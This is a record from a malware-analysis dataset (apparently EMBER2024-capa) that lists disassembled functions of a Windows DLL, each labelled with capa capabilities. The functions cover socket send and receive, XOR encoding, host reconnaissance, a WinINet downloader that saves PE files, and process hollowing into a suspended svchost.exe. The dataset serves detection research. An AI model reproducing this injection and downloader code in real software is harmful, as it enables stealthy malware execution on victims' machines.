joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180004810
Capabilities:
Send data
Send data on socket

Disassembly:
push rbx
sub rsp, 0x20
mov eax, dword [rdx + 0x14]
mov rbx, rcx
test eax, eax
je 0x180004840
mov dword [rcx + 0x50], eax
mov dword [rcx + 0x48], 1
mov dword [rcx + 0x4c], 2
xor eax, eax
mov dword [rcx + 0x54], 1
add rsp, 0x20
pop rbx
ret
mov rdx, qword [rcx + 0x60]
mov rcx, qword [rcx + 0x58]
mov r8d, 0x23
call qword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x18000487f
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [rbx + 0x48], 1
mov dword [rbx + 0x4c], 2
mov dword [rbx + 0x50], eax
xor eax, eax
mov dword [rbx + 0x54], 1
add rsp, 0x20
pop rbx
ret
mov dword [rbx + 0x88], 1
lea r9, [rbx + 0x220]
lea rcx, [rbx + 0x268]
mov r8, rbx
mov rdx, rbx
mov qword [rsp + 0x30], rdi
mov dword [rbx + 0x8c], 1
call fcn.180005d50
mov rcx, qword [rbx + 0x58]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor edi, edi
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x1800048da
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
cmove eax, edi
mov edi, eax
mov rcx, qword [rbx + 0x68]
call fcn.180003200
test edi, edi
mov rdi, qword [rsp + 0x30]
je 0x1800048f7
mov ecx, 0x80004005
call fcn.180001220
int3
mov eax, 1
add rsp, 0x20
pop rbx
ret

Function at 0x180004910
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rdi
sub rsp, 0x30
mov rbx, rcx
lea rbp, [0x1800317f0]
nop dword [rax]
mov rdx, qword [rbx + 0xa0]
mov rcx, qword [rbx + 0x58]
xor r9d, r9d
mov r8d, 0x598
call qword [sym.imp.WS2_32.dll_recv]
mov edi, eax
test eax, eax
jle 0x1800049c9
cmp eax, 0x10
jne 0x18000497c
mov rax, qword [rbx + 0xa0]
mov rdx, qword [rax]
cmp rdx, qword [rbp]
jne 0x180004973
mov rdx, qword [rax + 8]
cmp rdx, qword [rbp + 8]
jne 0x180004973
xor eax, eax
jmp 0x180004978
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1800049fb
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov r11d, dword [rbx + 0x244]
mov rdx, qword [rbx + 0xa0]
lea rcx, [rbx + 0x268]
cmp edi, 0x18
jl 0x1800049b4
mov r9, qword [rbx + 0x250]
mov r8d, edi
mov dword [rsp + 0x20], r11d
call fcn.1800063a0
jmp 0x1800049be
cmp edi, 0xc
jne 0x180004a23
call fcn.180006210
cmp eax, 2
jne 0x180004930
jmp 0x180004a2e
cmp eax, 0xffffffff
jne 0x180004930
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x180004a71
cmp eax, 0x2744
je 0x180004930
cmp eax, 0x2746
je 0x180004930
jmp 0x180004a47
mov dword [rbx + 0x48], 1
mov qword [rbx + 0x4c], 5
mov dword [rbx + 0x54], 0
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov ecx, recv
call qword [sym.imp.WS2_32.dll_WSASetLastError]
mov rcx, qword [rbx + 0x68]
call fcn.180003200
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x4c7
test eax, eax
cmove eax, ecx
mov dword [rbx + 0x48], 1
mov dword [rbx + 0x4c], 4
mov dword [rbx + 0x50], eax
mov dword [rbx + 0x54], 1
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov eax, 1
add rsp, 0x30
pop rdi
ret
Function at 0x180004d40
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov rcx, rbx
mov edi, eax
call fcn.180004120
test eax, eax
jne 0x180004d6c
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov edx, edi
mov rcx, rbx
call fcn.180004f60
mov eax, dword [rbx + 0x88]
xor edi, edi
test eax, eax
je 0x180004da5
cmp dword [rbx + 0x54], edi
je 0x180004d9f
mov rcx, qword [rbx + 0x58]
lea r8d, [rdi + 0x10]
lea rdx, [0x1800317f0]
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
mov dword [rbx + 0x88], edi
cmp dword [rbx + 0x48], edi
je 0x180004dc2
mov rcx, qword [rbx + 0x68]
call fcn.180003200
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, edi
xchg dword [rbx + 0x20], eax
mov rcx, qword [rbx + 0x60]
test rcx, rcx
je 0x180004dd5
call qword [sym.imp.WS2_32.dll_WSACloseEvent]
mov qword [rbx + 0x60], rdi
mov rcx, qword [rbx + 0x58]
cmp rcx, 0xffffffffffffffff
je 0x180004dfc
mov edx, 1
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, qword [rbx + 0x58]
call qword [sym.imp.WS2_32.dll_closesocket]
mov qword [rbx + 0x58], 0xffffffffffffffff
mov rcx, rbx
call fcn.180004e20
mov rbx, qword [rsp + 0x30]
mov eax, 1
add rsp, 0x20
pop rdi
ret

Function at 0x180005310
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rbx, rcx
mov rcx, qword [rcx + 8]
mov edi, r8d
mov rsi, rdx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, qword [rbx + 0x358]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.WINMM.dll_timeGetTime]
mov dword [rbx + 0x1c], eax
xor eax, eax
xchg dword [rbx + 0x20], eax
xor eax, eax
mov qword [rbx + 0x30], rax
mov word [rbx + 0x38], ax
mov rax, qword [rbx + 0x1c]
mov qword [rbx + 0x30], rax
mov eax, dword [rbx + 0x8c]
mov word [rbx + 0x38], 0x1ca
cmp eax, 3
je 0x180005378
mov rcx, rbx
call fcn.180004d40
movzx r8d, di
mov rdx, rsi
mov rcx, rbx
call fcn.180003f30
mov rcx, qword [rbx + 0x358]
mov edx, 0x1770
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x1800053c8
cmp eax, 0x102
je 0x1800053a9
cmp eax, 0xffffffff
jne 0x1800053b6
mov rcx, qword [rbx + 0x358]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor al, al
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
mov eax, 1
xchg dword [rbx + 0x20], eax
mov rcx, qword [rbx + 0x358]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea r11, [rsp + 0x40]
lea r8, [0x180005420]
mov qword [rsp + 0x28], r11
mov r9, rbx
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call fcn.180013e0c
mov rsi, qword [rsp + 0x50]
mov qword [rbx + 0x360], rax
mov rbx, qword [rsp + 0x48]
mov al, 1
add rsp, 0x30
pop rdi
ret
Function at 0x180005570
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov esi, r8d
mov r12, rdx
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rdi + 0x14], eax
je 0x1800055b3
nop dword [rax]
mov r9d, 1
xchg dword [rdi + 0x10], r9d
cmp r9d, 1
je 0x1800055a0
mov dword [rdi + 0x14], eax
inc dword [rdi + 0x18]
xor r13d, r13d
lea ebp, [rsi + 0xe]
cmp qword [rdi + 0x340], r13
jne 0x1800055ca
mov edx, r13d
jmp 0x1800055d6
mov edx, dword [rdi + 0x348]
sub edx, dword [rdi + 0x340]
lea rcx, [rdi + 0x338]
add edx, 4
call fcn.180001080
mov rax, qword [rdi + 0x348]
mov dword [rax], ebp
add qword [rdi + 0x348], 4
cmp qword [rdi + 0x340], r13
jne 0x180005604
mov edx, r13d
jmp 0x180005610
mov edx, dword [rdi + 0x348]
sub edx, dword [rdi + 0x340]
lea rcx, [rdi + 0x338]
add edx, 0xa
call fcn.180001080
mov rax, qword [rdi + 0x30]
mov rcx, qword [rdi + 0x348]
mov qword [rcx], rax
movzx eax, word [rdi + 0x38]
mov word [rcx + 8], ax
add qword [rdi + 0x348], 0xa
cmp qword [rdi + 0x340], r13
jne 0x18000564b
mov eax, r13d
jmp 0x180005657
mov eax, dword [rdi + 0x348]
sub eax, dword [rdi + 0x340]
lea edx, [rax + rsi]
lea rcx, [rdi + 0x338]
call fcn.180001080
mov rcx, qword [rdi + 0x348]
mov r8, rsi
mov rdx, r12
call fcn.1800133a0
mov r11d, r13d
mov r9, r13
mov r10, r13
test esi, esi
jle 0x1800056e4
nop word [rax + rax]
movzx ecx, byte [rdi + r9 + 0x30]
mov r8, qword [rdi + 0x348]
inc r9
mov eax, 0x8fb823ef
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 0xcccccccd
imul edx, edx, 0x1c8
sub ecx, edx
mul r11d
add cl, 0x36
xor byte [r10 + r8], cl
shr edx, 3
lea ecx, [rdx + rdx*4]
add ecx, ecx
cmp r11d, ecx
cmove r9, r13
inc r11d
inc r10
cmp r11d, esi
jl 0x180005690
add qword [rdi + 0x348], rsi
cmp qword [rdi + 0x340], r13
jne 0x1800056f9
mov r8d, r13d
jmp 0x180005707
mov r8d, dword [rdi + 0x348]
sub r8d, dword [rdi + 0x340]
mov rdx, qword [rdi + 0x340]
mov rcx, rdi
call fcn.180005770
mov r11, qword [rdi + 0x340]
lea rcx, [rdi + 0x338]
mov edx, 0x400
mov qword [rdi + 0x348], r11
call fcn.180001140
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp eax, dword [rdi + 0x14]
mov eax, 1
jne 0x18000574e
dec dword [rdi + 0x18]
jne 0x18000574e
mov qword [rdi + 0x10], r13
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
Function at 0x180007760
Capabilities:
Check os version

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0x170
mov rax, qword [0x180039a90]
xor rax, rsp
mov qword [rsp + 0x160], rax
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x20], rsi
mov rsi, rcx
mov ecx, 0x3c
call fcn.180010d44
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rcx, [rsi + 0xcc8]
lea rdx, [0x180031950]
mov r8d, eax
call qword [sym.imp.USER32.dll_wsprintfW]
mov rcx, rdi
call fcn.180007580
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x11c
xor ebx, ebx
call fcn.1800161c0
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x11c
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x180007914
cmp dword [rsp + 0x50], 2
jne 0x180007914
cmp dword [rsp + 0x44], 5
jbe 0x180007914
mov qword [rsp + 0x38], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x38]
lea edx, [rbx + 8]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x180007914
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
lea edx, [rbx + 0x19]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], ebx
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x1800078c1
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1800078c1
mov edx, dword [rsp + 0x30]
lea ecx, [rbx + 0x40]
mov qword [rsp + 0x190], rbp
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbp, rax
test rax, rax
je 0x1800078b9
mov r9d, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
lea edx, [rbx + 0x19]
mov r8, rbp
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x1800078b0
mov rcx, qword [rbp]
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
mov rcx, qword [rbp]
movzx edx, byte [rax]
dec edx
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthority]
mov ebx, dword [rax]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbp, qword [rsp + 0x190]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x180007914
cmp ebx, 0x1000
je 0x18000790b
cmp ebx, 0x2000
je 0x180007902
cmp ebx, 0x3000
je 0x1800078f9
cmp ebx, 0x4000
jne 0x18000792b
lea rdx, [0x180031c08]
jmp 0x18000791b
lea rdx, [0x180031bf8]
jmp 0x18000791b
lea rdx, [0x180031be8]
jmp 0x18000791b
lea rdx, [0x180031bd8]
jmp 0x18000791b
lea rdx, str.None__s
lea rcx, [rsi + 0xa70]
mov r8, rdi
call qword [sym.imp.USER32.dll_wsprintfW]
mov rsi, qword [rsp + 0x198]
mov rbx, qword [rsp + 0x188]
test rdi, rdi
je 0x180007948
mov rcx, rdi
call fcn.180013f00
mov eax, 1
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.180013370
add rsp, 0x170
pop rdi
ret
Function at 0x180007970
Capabilities:
Get disk information
Get disk size
Get memory capacity

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xc0
mov rax, qword [0x180039a90]
xor rax, rsp
mov qword [rsp + 0xb8], rax
xor r13d, r13d
mov r12, rcx
mov edi, r13d
mov esi, r13d
mov ebp, r13d
mov ebx, r13d
lea eax, [rbx + 0x42]
lea rcx, [rsp + 0xa0]
mov dword [rsp + 0xa2], 0x5c003a
mov word [rsp + 0xa0], ax
mov word [rsp + 0xa6], r13w
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0x180007a1b
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0xa0]
inc ebp
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov r11, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
shr r11, 0x1e
shr rax, 0x1e
add edi, r11d
add esi, eax
inc ebx
cmp ebx, 0x1a
jl 0x1800079b3
xor eax, eax
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x60], 0x40
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rax
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x70]
shr rax, 0x1e
lea r8, str.HDD:_d
shr rbx, 0x1e
inc rax
mov r9d, ebp
mov edx, 0xc8
mov qword [rsp + 0x30], rax
mov rcx, r12
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], edi
inc rbx
call fcn.180013bdc
lea r8, str._sFree_d_Gb
mov r9, r12
mov edx, 0xc8
mov rcx, r12
mov qword [rsp + 0x20], rbx
call fcn.180013bdc
mov rcx, qword [rsp + 0xb8]
xor rcx, rsp
call fcn.180013370
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x180007b00
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
push rdi
push r12
sub rsp, 0x260
mov rax, qword [0x180039a90]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rdi, r8
mov r12, rdx
mov rsi, rcx
mov dword [rsp + 0x30], 1
xor ebx, ebx
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x40]
call fcn.1800161c0
nop
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rdx, rsi
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x180007b74
or ebx, 0xffffffff
jmp 0x180007be5
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x180007be5
cmp eax, 2
ja 0x180007be5
mov dword [rsp + 0x34], 0x208
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
xor r8d, r8d
mov rdx, r12
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x180007be5
lea rdx, [0x18003194c]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x180007bd2
or ebx, 0xffffffff
jmp 0x180007be5
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, 1
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.180013370
mov rbx, qword [rsp + 0x298]
add rsp, 0x260
pop r12
pop rdi
pop rsi
ret

Function at 0x1800081e0
Capabilities:
Get system information on windows

Disassembly:
sub rsp, 0x58
xor eax, eax
lea rcx, str.kernel32.dll
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x180031cd0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rsp + 0x20]
test rax, rax
je 0x18000822f
call rax
jmp 0x180008235
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x20]
mov ecx, 6
cmp cx, ax
je 0x180008255
mov ecx, 9
cmp cx, ax
je 0x180008255
xor eax, eax
add rsp, 0x58
ret
mov eax, 1
add rsp, 0x58
ret
Function at 0x180008260
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x50
mov rdi, rcx
lea rcx, str.ntdll.dll
mov rbp, rdx
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rax, rax
je 0x1800083c3
lea rdx, str.RtlGetNtVersionNumbers
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1800083ba
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x70], rsi
call rax
movzx r11d, word [rsp + 0x80]
mov eax, dword [rsp + 0x88]
mov r9d, dword [rsp + 0x30]
mov dword [rsp + 0x28], r11d
lea r8, str._d._d._d
mov edx, 0x1e
mov rcx, rdi
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x80], r11d
call fcn.180013bdc
mov r11d, 0xca
mov rcx, 0xffffffffffffffff
mov eax, 2
mov dword [rsp + 0x34], r11d
mul r11
cmovo rax, rcx
mov rcx, rax
call fcn.180010d44
mov dword [rsp + 0x38], 1
mov rdi, rax
call fcn.1800081e0
xor r8d, r8d
test eax, eax
lea rax, [rsp + 0x40]
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
mov r9d, 0x20119
mov qword [rsp + 0x20], rax
jne 0x180008357
mov r9d, 0x20019
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x40]
lea r9, [rsp + 0x38]
mov esi, eax
lea rax, [rsp + 0x34]
lea rdx, str.ProductName
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1800083a2
test esi, esi
jne 0x1800083a2
lea r9d, [rax + 0x31]
lea edx, [rax + 0x32]
mov r8, rdi
mov rcx, rbp
call fcn.1800140a8
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rdi
call fcn.180013f00
mov rsi, qword [rsp + 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
add rsp, 0x50
pop rdi
pop rbp
pop rbx
ret

Function at 0x1800083d0
Capabilities:
Accept command line arguments
Create process on windows
Terminate process

Disassembly:
push rbx
sub rsp, 0x2f0
mov rax, qword [0x180039a90]
xor rax, rsp
mov qword [rsp + 0x2e0], rax
lea rdx, [rsp + 0xe0]
mov r8d, 0x1fe
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rcx, [rsp + 0x70]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
lea r11, [rsp + 0x50]
mov qword [rsp + 0x48], r11
lea rax, [rsp + 0x70]
lea rcx, [rsp + 0xe0]
mov qword [rsp + 0x40], rax
xor eax, eax
xor r9d, r9d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
xor r8d, r8d
mov rdx, rbx
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1800085f0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x860
mov rax, qword [0x180039a90]
xor rax, rsp
mov qword [rsp + 0x850], rax
mov rbp, rcx
xor r14d, r14d
lea rcx, str.wininet.dll
mov esi, 1
mov rbx, rdx
mov dword [rsp + 0x40], r14d
mov dword [rsp + 0x44], r14d
movzx r12d, sil
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.InternetOpenW
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.MSIE_6.0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], r14d
call rax
mov r13, rax
test rax, rax
jne 0x180008683
test rdi, rdi
je 0x18000867c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
jmp 0x1800087ba
lea rdx, str.InternetOpenUrlW
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
xor r8d, r8d
mov rdx, rbp
mov rcx, r13
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x80000000
call rax
mov rbp, rax
test rax, rax
je 0x18000866e
mov qword [rsp + 0x30], r14
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rbx
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180008780
mov qword [rsp + 0x8b0], r15
mov r15d, 0x5a4d
nop word [rax + rax]
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x800
call fcn.1800161c0
lea rdx, str.InternetReadFile
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov r8d, 0x800
mov rcx, rbp
call rax
test esi, esi
je 0x180008743
cmp word [rsp + 0x50], r15w
jne 0x18000876c
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x44]
lea rdx, [rsp + 0x50]
mov rcx, rbx
mov esi, r14d
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [rsp + 0x40], r14d
ja 0x180008700
jmp 0x18000876f
xor r12b, r12b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15, qword [rsp + 0x8b0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.InternetCloseHandle
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbp
mov rbx, rax
call rbx
mov rcx, r13
call rbx
test rdi, rdi
je 0x1800087b6
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
movzx eax, r12b
mov rcx, qword [rsp + 0x850]
xor rcx, rsp
call fcn.180013370
add rsp, 0x860
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1800087e0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Get common file path
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push r12
lea rbp, [rsp - 0x5c0]
sub rsp, 0x6c0
mov rax, qword [0x180039a90]
xor rax, rsp
mov qword [rbp + 0x5b0], rax
movsxd rbx, edx
xor edx, edx
mov rsi, rcx
lea r8d, [rdx + 0x68]
lea rcx, [rsp + 0x70]
call fcn.1800161c0
xor r11d, r11d
lea rcx, [rbp - 0x20]
xor edx, edx
mov r8d, 0x4d0
mov qword [rsp + 0x50], r11
mov qword [rsp + 0x58], r11
mov qword [rsp + 0x60], r11
call fcn.1800161c0
xor r12d, r12d
lea rcx, [rbp + 0x4b1]
xor edx, edx
mov r8d, 0xfe
mov dword [rsp + 0x70], WSAGetLastError
mov dword [rbp - 0x54], 1
mov word [rbp - 0x50], r12w
mov byte [rbp + 0x4b0], r12b
call fcn.1800161c0
lea rcx, [rbp + 0x4b0]
mov edx, 0xff
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea r9, str.WindowsSystem32_svchost.exe
lea r8, [rbp + 0x4b0]
lea rdx, [0x180031e50]
lea rcx, [rbp + 0x4b0]
mov byte [rbp + 0x4b3], r12b
call fcn.180009310
lea r11, [rsp + 0x50]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], r11
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
lea rcx, [rbp + 0x4b0]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x180008991
mov rcx, qword [rsp + 0x50]
mov r9d, 0x3000
mov r8, rbx
xor edx, edx
mov qword [rsp + 0x6f0], rdi
mov dword [rsp + 0x20], 0x40
mov rdi, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
je 0x180008978
mov rcx, qword [rsp + 0x50]
mov r9, rdi
mov r8, rsi
mov rdx, rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180008978
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp - 0x20]
mov dword [rbp + 0x10], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x180008978
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp - 0x20]
mov qword [rbp + 0xd8], rbx
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x18000897c
xor al, al
jmp 0x180008989
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov al, 1
mov rdi, qword [rsp + 0x6f0]
mov rcx, qword [rbp + 0x5b0]
xor rcx, rsp
call fcn.180013370
mov rbx, qword [rsp + 0x6f8]
add rsp, 0x6c0
pop r12
pop rsi
pop rbp
ret